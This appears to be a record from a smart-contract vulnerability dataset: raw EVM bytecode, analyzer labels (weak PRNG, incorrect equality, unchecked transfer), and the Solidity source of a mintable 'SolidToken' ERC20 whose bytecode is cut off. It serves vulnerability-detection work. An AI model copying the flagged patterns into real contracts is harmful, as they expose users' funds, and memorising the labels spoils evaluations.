900473ffffffffffffffffffffffffffffffffffffffff1681600101548260020160009054906101000a900460ff16935093509350509193909250565b60085481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806112fa575060011515600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b151561130557600080fd5b3073ffffffffffffffffffffffffffffffffffffffff163181111561132957600080fd5b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050151561136957600080fd5b5050565b6305f5e10081565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611449575060011515600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b151561145457600080fd5b6064600954840281151561146457fe5b0491506006548214151561147757600080fd5b6000600f6000601260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481526020019081526020016000206001015411156114da57600080fd5b6001601460008282540192505081905550600f600060145481526020019081526020016000209050838160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600654816001018190555060008160020160006101000a81548160ff021916908315150217905550601454601260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115be60035461321d565b6003819055508373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6014546040518082815260200191505060405180910390a350505050565b6101fe81565b60145481565b600080600f6000848152602001908152602001600020905060008160010154111561168f578060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169150611694565b600091505b50919050565b60095481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156116fb57600080fd5b60001515600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156117dd5760018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600060148282829054906101000a900461ffff160192506101000a81548161ffff021916908361ffff1602179055505b50565b600e5481565b600080600f6000601260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054815260200190815260200160002060010154111561184e5760019050611853565b600090505b919050565b600080600080600080600260009054906101000a900460ff1615151561187d57600080fd5b600c54871015801561188f5750868814155b1561189957600080fd5b601260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549550600f6000878152602001908152602001600020945060008560010154141561190257600080fd5b8460020160009054906101000a900460ff1615801561192357506101fe8814155b1561192d57600080fd5b8460020160009054906101000a900460ff16801561195e575085601060008a81526020019081526020016000205414155b1561196857600080fd5b61198a60148981151561197757fe5b0460148981151561198457fe5b04613310565b93506119ae60148981151561199b57fe5b066014898115156119a857fe5b06613310565b9250601360006305f5e10087600101548115156119c757fe5b04815260200190815260200160002054915060008214156119e857600b5491505b818384028586020111156119fb57600080fd5b6000601060008a8152602001908152602001600020819055506101fe88141515611a6e576064856001015460075402811515611a3357fe5b04935083601160008a815260200190815260200160002060008282540192505081905550838560010160008282540392505081905550611a8c565b60018560020160006101000a81548160ff0219169083151502179055505b6101fe871415611b225760008560020160006101000a81548160ff0219169083151502179055503373ffffffffffffffffffffffffffffffffffffffff167f0a4f6de26755798436390daf3719fe42b9f04c44b2fe0625de4342e1e2459a10878a8a89600101546040518085815260200184815260200183815260200182815260200194505050505060405180910390a2612256565b601060008881526020019081526020016000205493506000841415611c2357600060116000898152602001908152602001600020541115611b9c5760116000888152602001908152602001600020548560010160008282540192505081905550600060116000898152602001908152602001600020819055505b3373ffffffffffffffffffffffffffffffffffffffff167f0a4f6de26755798436390daf3719fe42b9f04c44b2fe0625de4342e1e2459a10878a8a89600101546040518085815260200184815260200183815260200182815260200194505050505060405180910390a2856010600089815260200190815260200160002081905550612255565b6101fe881415611c3257600080fd5b600f600085815260200190815260200160002090508460010154600e54826001015401111515611dd05780600101548560010160008282540192505081905550600081600101819055508560106000898152602001908152602001600020819055508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fc15f52570a93e125c446dad9d62b70661ca12a0f34b6b4fe6375284706576c4f88878c8c8b60010154604051808681526020018581526020018481526020018381526020018281526020019550505050505060405180910390a3600073ffffffffffffffffffffffffffffffffffffffff168160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612254565b8460010154816001015411151561208357611dec60035461321d565b6003819055506001600c5403600354811515611e0457fe5b0692506101fe831415611e18576001830192505b600281600101540260116000858152602001908152602001600020819055507f8711a2393e2fe98769f70ccbd7a1a0f7db5582a113e5645a5ef1e637f3eee0e2836002836001015402604051808381526020018281526020019250505060405180910390a18060010154856001016000828254039250508190555060008160010181905550600085600101541115611ec757856010600089815260200190815260200160002081905550611f47565b60006010600089815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef886040518082815260200191505060405180910390a35b8060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167ff33ea0d9449fd6e15735c140f51c1e01bacda12ea866ebd8c8f8c5a7009af4f388878c8c8b60010154604051808681526020018581526020018481526020018381526020018281526020019550505050505060405180910390a3600073ffffffffffffffffffffffffffffffffffffffff168160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612253565b61208e60035461321d565b6003819055506001600c54036003548115156120a657fe5b0692506101fe8314156120ba576001830192505b600285600101540260116000858152602001908152602001600020819055507f8711a2393e2fe98769f70ccbd7a1a0f7db5582a113e5645a5ef1e637f3eee0e2836002876001015402604051808381526020018281526020019250505060405180910390a184600101548160010160008282540392505081905550600085600101819055508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fca1dfeb0fb285992538d0b85b07f749d9c530b608237c5aca0726b3ee383509f88878c8c8760010154604051808681526020018581526020018481526020018381526020018281526020019550505050505060405180910390a3600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef886040518082815260200191505060405180910390a35b5b5b5b5050505050505050565b6000806000806000808791505b8682111515612345576000601060008481526020019081526020016000205411156122f65760106000838152602001908152602001600020549450600f6000868152602001908152602001600020905081858260000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683600101549550955095509550612346565b60006011600084815260200190815260200160002054111561233a578160008060116000868152602001908152602001600020548292509550955095509550612346565b60018201915061226d565b5b505092959194509250565b6000600260009054906101000a900460ff1615151561236f57600080fd5b6005543414151561237f57600080fd5b6000600f6000601260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481526020019081526020016000206001015411156123e257600080fd5b6001601460008282540192505081905550600f600060145481526020019081526020016000209050338160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600654816001018190555060008160020160006101000a81548160ff021916908315150217905550601454601260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124c660035461321d565b6003819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6014546040518082815260200191505060405180910390a350565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480612607575060011515600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b151561261257600080fd5b8060136000848152602001908152602001600020819055505050565b6040805190810160405280600581526020017f454d4f4e4600000000000000000000000000000000000000000000000000000081525081565b6000601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061275d575060011515600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b151561276857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515156127c657600080fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff166370a08231306000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b151561288e57600080fd5b6102c65a03f1151561289f57600080fd5b505050604051805190508211156128b557600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84846000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561296057600080fd5b6102c65a03f1151561297157600080fd5b5050506040518051905050505050565b600a5481565b600080600080600260009054906101000a900460ff161515156129a957600080fd5b601260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549350600f60008581526020019081526020016000209250600d5483600101541015612a1357600080fd5b60065483600101541015612a2657600080fd5b60065483600101540391506006548360010181905550600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff166370a08231306000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1515612b0457600080fd5b6102c65a03f11515612b1557600080fd5b50505060405180519050821115612b2b57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb3360646008548602811515612b5857fe5b046000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515612be657600080fd5b6102c65a03f11515612bf757600080fd5b50505060405180519050503373ffffffffffffffffffffffffffffffffffffffff167f34f1b4b50ab1fe8066f90e4b650517b54750c5450d115a4ca83183ba27d69b48858560010154604051808381526020018281526020019250505060405180910390a250505050565b600080600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515612ca157600080fd5b601260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549150600f600083815260200190815260200160002090506000821480612d0b575060008160010154145b80612d165750828214155b15612d2057600080fd5b6000612d2b856117e6565b1115612d3657600080fd5b838160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000601260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081601260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a350505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480612f18575060011515600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b1515612f2357600080fd5b8060116000848152602001908152602001600020600082825401925050819055507f8711a2393e2fe98769f70ccbd7a1a0f7db5582a113e5645a5ef1e637f3eee0e28282604051808381526020018281526020019250505060405180910390a15050565b60008060008060008591505b6014548211151561301e57600f6000838152602001908152602001600020905060008160010154118015612fd657508060020160009054906101000a900460ff16155b1561301157818160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168260010154945094509450613030565b8180600101925050612f93565b60008060008292508090509450945094505b50509193909250565b601481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561309957600080fd5b60011515600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141561317c576000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600060148282829054906101000a900461ffff160392506101000a81548161ffff021916908361ffff1602179055505b50565b600060106000838152602001908152602001600020549050919050565b60075481565b600080600080925060009150600090505b6014600a5402811015613218576000601060008381526020019081526020016000205411156131e75760018301925061320b565b60006011600083815260200190815260200160002054111561320a576001820191505b5b80806001019150506131b3565b509091565b60008142446040518083815260200182815260200192505050604051809103902060019004189050919050565b600b5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806132fb575060011515600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b151561330657600080fd5b80600b8190555050565b60008183111561332457818303905061332a565b82820390505b92915050565b60008060008060106000868152602001908152602001600020549350600f60008581526020019081526020016000209050838160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168260010154935093509350509193909250565b600260009054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561340857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151561347f57806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061352d575060011515600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b151561353857600080fd5b6109c4601360008081526020019081526020016000208190555061038460136000600181526020019081526020016000208190555061019060136000600281526020019081526020016000208190555060e1601360006003815260200190815260200160002081905550609060136000600481526020019081526020016000208190555060516013600060058152602001908152602001600020819055506031601360006006815260200190815260200160002081905550603160136000600781526020019081526020016000208190555060246013600060088152602001908152602001600020819055506024601360006009815260200190815260200160002081905550602460136000600a815260200190815260200160002081905550601960136000600b815260200190815260200160002081905550601960136000600c815260200190815260200160002081905550601960136000600d815260200190815260200160002081905550601960136000600e815260200190815260200160002081905550601060136000600f8152602001908152602001600020819055506010601360006010815260200190815260200160002081905550601060136000601181526020019081526020016000208190555060106013600060128152602001908152602001600020819055506010601360006013815260200190815260200160002081905550600960136000601481526020019081526020016000208190555060096013600060158152602001908152602001600020819055506009601360006016815260200190815260200160002081905550600960136000601781526020019081526020016000208190555060096013600060188152602001908152602001600020819055506009601360006019815260200190815260200160002081905550565b6000806000806000601260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549450600f600086815260200190815260200160002090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169350806001015492508060020160009054906101000a900460ff169150509193509193565b600654815600a165627a7a72305820e0f3c2171323990080f46fe13657bb247c560f925e117e248bd9df8b24e9e4ee0029
{"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
3,648
0xCb65fcD12896D7BFD486e2695396050478fAfD3a
pragma solidity ^0.4.23; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/openzeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint( address _to, uint256 _amount ) hasMintPermission canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } contract SolidToken is MintableToken { string public constant name = "SolidToken"; string public constant symbol = "SOLID"; uint8 public constant decimals = 18; uint256 constant private DECIMAL_PLACES = 10 ** 18; uint256 constant SUPPLY_CAP = 4000000 * DECIMAL_PLACES; bool public transfersEnabled = false; uint256 public transferEnablingDate; /** * @dev Sets the date that the tokens becomes transferable * @param date The timestamp of the date * @return A boolean that indicates if the operation was successful. */ function setTransferEnablingDate(uint256 date) public onlyOwner returns(bool success) { transferEnablingDate = date; return true; } /** * @dev Enables the token transfer */ function enableTransfer() public { require(transferEnablingDate != 0 && now >= transferEnablingDate); transfersEnabled = true; } // OVERRIDES /** * @dev Function to mint tokens. Overriden to check for supply cap. * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { require(totalSupply_.add(_amount) <= SUPPLY_CAP); require(super.mint(_to, _amount)); return true; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(transfersEnabled, "Tranfers are disabled"); require(super.transfer(_to, _value)); return true; } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(transfersEnabled, "Tranfers are disabled"); require(super.transferFrom(_from, _to, _value)); return true; } }
0x60806040526004361061011d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461012257806306fdde0314610151578063095ea7b3146101e157806318160ddd1461024657806323b872dd14610271578063313ce567146102f657806340c10f1914610327578063661884631461038c578063697025b6146103f157806370a082311461041c578063715018a614610473578063728f31e71461048a5780637d64bcb4146104cf5780638da5cb5b146104fe57806395d89b4114610555578063a9059cbb146105e5578063bef97c871461064a578063d73dd62314610679578063dd62ed3e146106de578063f1b50c1d14610755578063f2fde38b1461076c575b600080fd5b34801561012e57600080fd5b506101376107af565b604051808215151515815260200191505060405180910390f35b34801561015d57600080fd5b506101666107c2565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101a657808201518184015260208101905061018b565b50505050905090810190601f1680156101d35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101ed57600080fd5b5061022c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107fb565b604051808215151515815260200191505060405180910390f35b34801561025257600080fd5b5061025b6108ed565b6040518082815260200191505060405180910390f35b34801561027d57600080fd5b506102dc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108f7565b604051808215151515815260200191505060405180910390f35b34801561030257600080fd5b5061030b61099e565b604051808260ff1660ff16815260200191505060405180910390f35b34801561033357600080fd5b50610372600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109a3565b604051808215151515815260200191505060405180910390f35b34801561039857600080fd5b506103d7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a6c565b604051808215151515815260200191505060405180910390f35b3480156103fd57600080fd5b50610406610cfd565b6040518082815260200191505060405180910390f35b34801561042857600080fd5b5061045d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d03565b6040518082815260200191505060405180910390f35b34801561047f57600080fd5b50610488610d4b565b005b34801561049657600080fd5b506104b560048036038101908080359060200190929190505050610e50565b604051808215151515815260200191505060405180910390f35b3480156104db57600080fd5b506104e4610ebe565b604051808215151515815260200191505060405180910390f35b34801561050a57600080fd5b50610513610f86565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561056157600080fd5b5061056a610fac565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105aa57808201518184015260208101905061058f565b50505050905090810190601f1680156105d75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156105f157600080fd5b50610630600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fe5565b604051808215151515815260200191505060405180910390f35b34801561065657600080fd5b5061065f61108a565b604051808215151515815260200191505060405180910390f35b34801561068557600080fd5b506106c4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061109d565b604051808215151515815260200191505060405180910390f35b3480156106ea57600080fd5b5061073f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611299565b6040518082815260200191505060405180910390f35b34801561076157600080fd5b5061076a611320565b005b34801561077857600080fd5b506107ad600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061135d565b005b600360149054906101000a900460ff1681565b6040805190810160405280600a81526020017f536f6c6964546f6b656e0000000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e